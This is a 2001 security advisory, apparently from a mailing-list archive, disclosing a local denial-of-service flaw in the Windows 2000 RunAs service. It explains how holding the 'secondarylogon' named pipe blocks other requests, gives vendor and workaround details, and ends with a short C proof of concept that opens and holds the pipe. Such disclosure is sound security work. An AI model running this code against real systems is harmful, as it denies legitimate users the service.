Team RADIX Research Report: RADIX1112200103

Date Published: 11-12-2001
Research Report ID: RADIX1112200103
Bugtraq ID: 3291
CVE CAN: N/A
Title: Denial of Service Vulnerability in Windows 2000 RunAs Service
Class: Denial of Service
Remotely Exploitable: No
Locally Exploitable: Yes

Vulnerability Description:
The Windows 2000 RunAs service allows a user to launch an application in
a security context based upon a supplied set of credentials. The
vulnerability discovered effectively disables the functionality of the
RunAs services.

Vulnerable Systems: Microsoft Windows 2000

Solution/Vendor Information/Workaround:
The vendor has decided to include the fix within service pack 3 (SP3).

According to the vendor, "In February 2002, we will release Windows 2000
Service Pack 3 (SP3)".

http://www.microsoft.com/presspass/features/2001/oct01/10-03securityqa.a
sp

When service pack 3 is released, Camisade recommends installing it.

In the meantime, do not use the RunAs service. If the RunAs service is
not used, a denial of service attack (as depicted here) will not have an
impact on functionality. The denial of service attack depicted does not
actually cause RunAs to shutdown, it only renders RunAs unusable.
Therefore, this denial of service attack cannot be leveraged for the
RADIX11122001 vulnerability that relies on RunAs being disabled.
However, do not disable the RunAs service. The RADIX1112200101
vulnerability can only be exploited if the RunAs service is not running.
The malicious attacker is performing a man in the middle attack using a
malicious RunAs service.

Summary: Ensure the RunAs service is in it's default setting
(automatically started and running). The default install of the service,
unused and not set to manual (or disabled) is the safest method until
service pack 3 is released. As a temporary solution, do not use any
utilities that leverage the RunAs service. This includes the RunAs
command line utility and Explorer's RunAs functionality.

Vendor notified on: 09-10-2001

The vendor was notified, and confirmed receipt, approximately two months
ago. In keeping with the Camisade Research Report Policy, the
information has been made public to best benefit the security community
through full disclosure.

Credits:
Camisade - Team RADIX (researchcamisade.com) http://www.camisade.com

This advisory was drafted with the help of the SecurityFocus.com
Vulnerability Help Team. For more information or assistance drafting
advisories please mail vulnhelpsecurityfocus.com.

Technical Description - Proof of Concept Code:
Architecturally, all communication with the RunAs service is done by
means of the named pipe "\\.\pipe\secondarylogon". Additionally, the
Windows 2000 API CreateProcessWithLogonW leverages this communications
channel in an effort to launch a process with a supplied set of
credentials.

The RunAs service was implemented to provide service exclusively to one
client per request. If more than one client requests service, from the
RunAs service, simultaneously, the clients will receive the error "231:
All pipe instances are busy".

Consequently, it is possible for one client to simply connect to the
pipe and never request any service. The RunAs service will wait for the
client to either disconnect or send data and will not process any other
requests until that happens.

It is possible for the attack to occur remotely, however, because of the
DACL associated with the pipe, the only users capable of this would be
members of the Administrators group.

Because of the aforementioned information, the most applicable context
in which this vulnerability could be leveraged would be that of Windows
2000 Terminal services.

// radix1112200103.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or //
misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>

#include <stdio.h>
#include <conio.h>

#define SECLOGON_PIPE _T("\\\\.\\pipe\\secondarylogon")

void main()
{
   HANDLE hPipe;

   hPipe = CreateFile(SECLOGON_PIPE, GENERIC_READ|GENERIC_WRITE, 0, 0,
OPEN_EXISTING, 0, 0);
   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Unable to open pipe, error %d\n", GetLastError());
      return;
   }

   printf("Connected to pipe. Press any key to disconnect.\n");
   getche();

   CloseHandle(hPipe);
}

-- 
Team RADIX -- Camisade LLC
http://www.camisade.com
Application Security Innovations
Camisade Direct: 1.800.709.1241

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]